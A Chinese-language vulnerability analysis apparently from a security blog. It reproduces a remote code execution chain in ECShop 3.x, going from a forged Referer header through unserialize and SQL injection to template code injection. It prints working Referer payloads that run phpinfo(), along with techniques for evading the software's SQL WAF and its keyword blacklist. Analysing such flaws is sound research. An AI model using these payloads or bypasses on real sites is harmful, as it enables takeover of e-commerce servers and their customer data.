刷漏洞信息的时候看到有师傅分析了2.7最新版的命令执行,然后先知有师傅说3.x也有,但是要绕waf,于是弄来了3.6的源码进行复现。


前言

在最新的ecshop3.6中,注入点已经被修复了

1
2
3
4
5
6
function insert_ads($arr)
{
    static $static_res = NULL;
    
    $arr['num'] = intval($arr['num']);
    $arr['id'] = intval($arr['id']);

所以使用3.6.0上一个版本进行复现

漏洞触发与2.7版本相同,只是需要绕个waf,绕waf可以直接跳到构造payload

漏洞分析

在user.php中

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
elseif ($action == 'login')
{
    if (empty($back_act))
    {
        if (empty($back_act) && isset($GLOBALS['_SERVER']['HTTP_REFERER']))
        {
            $back_act = strpos($GLOBALS['_SERVER']['HTTP_REFERER'], 'user.php') ? './index.php' : $GLOBALS['_SERVER']['HTTP_REFERER'];
        }
        else
        {
            $back_act = 'user.php';
        }

    }

    ...
    
    $smarty->assign('back_act', $back_act);
    $smarty->display('user_passport.dwt');
}

进入assign()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
function assign($tpl_var, $value = '')
    {
        if (is_array($tpl_var))
        {
            ...
        }
        else
        {
            if ($tpl_var != '')
            {
                $this->_var[$tpl_var] = $value;
            }
        }
    }

$back_act获取HTTP_REFERER,然后通过assign()函数绑定到$this->_var['back_cat']

继续执行$smarty->display('user_passport.dwt')

1
2
3
4
5
6
7
function display($filename, $cache_id = '')
    {
        $this->_seterror++;
        error_reporting(E_ALL ^ E_NOTICE);

        $this->_checkfile = false;
        $out = $this->fetch($filename, $cache_id);

然后进入$this->fetch()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
function fetch($filename, $cache_id = '')
    {
        ...
            else
            {
                if ($cache_id && $this->caching)
                {
                    $out = $this->template_out;
                }
                else
                {
                    if (!in_array($filename, $this->template))
                    {
                        $this->template[] = $filename;
                    }

                    $out = $this->make_compiled($filename);

然后进入$this->make_compiled()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
    function make_compiled($filename)
    {
        ...

        if ($this->force_compile || $filestat['mtime'] > $expires)
        {
            $this->_current_file = $filename;
            $source = $this->fetch_str(file_get_contents($filename));

            if (file_put_contents($name, $source, LOCK_EX) === false)
            {
                trigger_error('can\'t write:' . $name);
            }

            $source = $this->_eval($source);
        }

        return $source;
    }
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
   function fetch_str($source)
    {
        ...
        $source=preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |\()/is", "", $source);
       ...
        if (!function_exists('version_compare') || version_compare(phpversion(), '5.3.0', '<')) {
            return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
        } else {
            return include(ROOT_PATH . 'includes' . DIRECTORY_SEPARATOR . 'patch' . DIRECTORY_SEPARATOR . 'includes_cls_template_fetch_str.php');
        }
    }

通过$this->fetch_str(),将模板中的{$tag}全部换成$this->select('$tag')

回到make_compiled()继续执行$this->_eval()

1
2
3
4
5
6
7
8
9
    function _eval($content)
    {
        ob_start();
        eval('?' . '>' . trim($content));
        $content = ob_get_contents();
        ob_end_clean();

        return $content;
    }

使得模板文件执行$this->select()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
   function select($tag)
    {
        $tag = stripslashes(trim($tag));

      	...
        elseif ($tag{0} == '$') // 变量
        {
//            if(strpos($tag,"'") || strpos($tag,"]"))
//            {
//                 return '';
//            }
            return '<?php echo ' . $this->get_val(substr($tag, 1)) . '; ?>';
        }
1
2
3
4
5
6
7
function get_val($val)
    {
        ... //如果是变量的话,省略部分都匹配不上
        else
        {
            $p = $this->make_var($val);
        }
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
    function make_var($val)
    {
        if (strrpos($val, '.') === false)
        {
            if (isset($this->_var[$val]) && isset($this->_patchstack[$val]))
            {
                $val = $this->_patchstack[$val];
            }
            $p = '$this->_var[\'' . $val . '\']';
        }

经过$this->select()处理,返回$this->_var['tag'];

这样执行完模板中所有的$this->select()后,原先{$back_act}的地方就变成了<?php echo $this->_val['back_act'];,成功引入可控变量

然后回到display()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
    function display($filename, $cache_id = '')
    {
        ..
        $out = $this->fetch($filename, $cache_id);
        if (strpos($out, $this->_echash) !== false)
        {
            $k = explode($this->_echash, $out);
            foreach ($k AS $key => $val)
            {
                if (($key % 2) == 1)
                {
                    $k[$key] = $this->insert_mod($val);
                }
            }
            $out = implode('', $k);
        }
        ...

如果存在_echash就以_echash为分割线,得到$k,如果下标为单数就交给isnert_mod处理,因为_echash为固定值,所以$k可控,并且分割后变量的下标为单数

1
2
3
4
5
6
7
8
    function insert_mod($name) // 处理动态内容
    {
        list($fun, $para) = explode('|', $name);
        $para = unserialize($para);
        $fun = 'insert_' . $fun;

        return $fun($para);
    }

insert_mod中,以|分割$val$name作为函数名,反序列$para作为参数

所以如果伪造Referer为(insert_ads中存在漏洞)

1
45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:2:"id";i:123;s:3:"num";i:321;}45ea207d7a2b68c49582d2d22adf953a

首先分割_echash,得到ads|a:2:{s:2:"id";i:123;s:3:"num";i:321;}

再分割|,可得$fun=asd; $para='a:2:{s:2:"id";i:123;s:3:"num";i:321;}'

反序列化后调用insert_ads($para)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
function insert_ads($arr)
{
    static $static_res = NULL;

    $time = gmtime();
    if (!empty($arr['num']) && $arr['num'] != 1)
    {
        $sql  = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .
                    'p.ad_height, p.position_style, RAND() AS rnd ' .
                'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
                'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
                "WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ".
                    "AND a.position_id = '" . $arr['id'] . "' " .
                'ORDER BY rnd LIMIT ' . $arr['num'];
        $res = $GLOBALS['db']->GetAll($sql);
    }

并没有什么过滤,很明显一个sql注入,继续往下看

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
    foreach ($res AS $row)
    {
        if ($row['position_id'] != $arr['id'])
        {
            continue;
        }
        $position_style = $row['position_style'];
        ...
    }
    $position_style = 'str:' . $position_style;

    $need_cache = $GLOBALS['smarty']->caching;
    $GLOBALS['smarty']->caching = false;

    $GLOBALS['smarty']->assign('ads', $ads);
    $val = $GLOBALS['smarty']->fetch($position_style);

如果sql查询的结果中position_id与传入的id相同时,将结果中的position_style赋值给$position_style,接着将字符串’str:‘拼接到前面,执行fetch()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
    function fetch($filename, $cache_id = '')
    {
        if (!$this->_seterror)
        {
            error_reporting(E_ALL ^ E_NOTICE);
        }
        $this->_seterror++;

        if (strncmp($filename,'str:', 4) == 0)
        {
            $out = $this->_eval($this->fetch_str(substr($filename, 4)));
        }

执行fetch_str()xxx{$asd}xxx变换为xxx<?php echo $this->_var['asd'];xxx,由上面可以发现,在make_var中可以造成单引号逃逸,使得语句变成xxx<?php echo $this->_var['asd']; phpinfo(); //'],经过_eval()就使得phpinfo执行了

所以要通过sql注入伪造$position_style,造成任意命令执行

构造payload

首先是sql注入

构造Referer

1
45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:2:"id";s:3:"'/*";s:3:"num";s:43:"*/ union select 1,0x272f2a,3,4,5,6,7,8,9,10 #";}45ea207d7a2b68c49582d2d22adf953a

理论上可以使sql语句变成xxx AND a.position_id = ''/*' ORDER BY rnd LIMIT */union select 1,0x272f2a,3,4,5,6,7,8,9,10 #,成功伪造position_style,但是实际上

image

碰到了waf,这也是3.x版本与2.7版本的区别之一,全局搜索,发现waf代码 includes\safety.php

1
[^\{\s]{1}(\s|\b)+(?:select\b|update\b|insert(?:(\/\*.*?\*\/)|(\s)|(\+))+into\b).+?(?:from\b|set\b)|[^\{\s]{1}(\s|\b)+(?:create|delete|drop|truncate|rename|desc)(?:(\/\*.*?\*\/)|(\s)|(\+))+(?:table\b|from\b|database\b)|into(?:(\/\*.*?\*\/)|\s|\+)+(?:dump|out)file\b|\bsleep\([\s]*[\d]+[\s]*\)|benchmark\(([^\,]*)\,([^\,]*)\)|(?:declare|set|select)\b.*@|union\b.*(?:select|all)\b|(?:select|update|insert|create|delete|drop|grant|truncate|rename|exec|desc|from|table|database|set|where)\b.*(charset|ascii|bin|char|uncompress|concat|concat_ws|conv|export_set|hex|instr|left|load_file|locate|mid|sub|substring|oct|reverse|right|unhex)\(|(?:master\.\.sysdatabases|msysaccessobjects|msysqueries|sysmodules|mysql\.db|sys\.database_name|information_schema\.|sysobjects|sp_makewebtask|xp_cmdshell|sp_oamethod|sp_addextendedproc|sp_oacreate|xp_regread|sys\.dbms_export_extension)"

发现union与select不能有符号,看起来是没办法了,但是他只检测了union后面是不是select,所以将id与num的位置换一下

1
45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:46:"*/select 1,0x27756e696f6e2f2a,3,4,5,6,7,8,9,10";s:2:"id";s:8:"'union/*";}45ea207d7a2b68c49582d2d22adf953a

这样union后面就不是select了,而且sql语句也没改变

image

成功绕过,剩下就是构造position_style为xxx{$asd'];phpinfo();//}xxx

image

发现phpinfo没了

这是因为在fetch_str中还有个waf

1
$source=preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |\()/is", "", $source);

phpinfo在黑名单中,所以构造xxx{$asd'];php<?copy(info();//}xxx绕过

image

image

安排上了


参考

http://ringk3y.com/2018/08/31/ecshop2-x%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/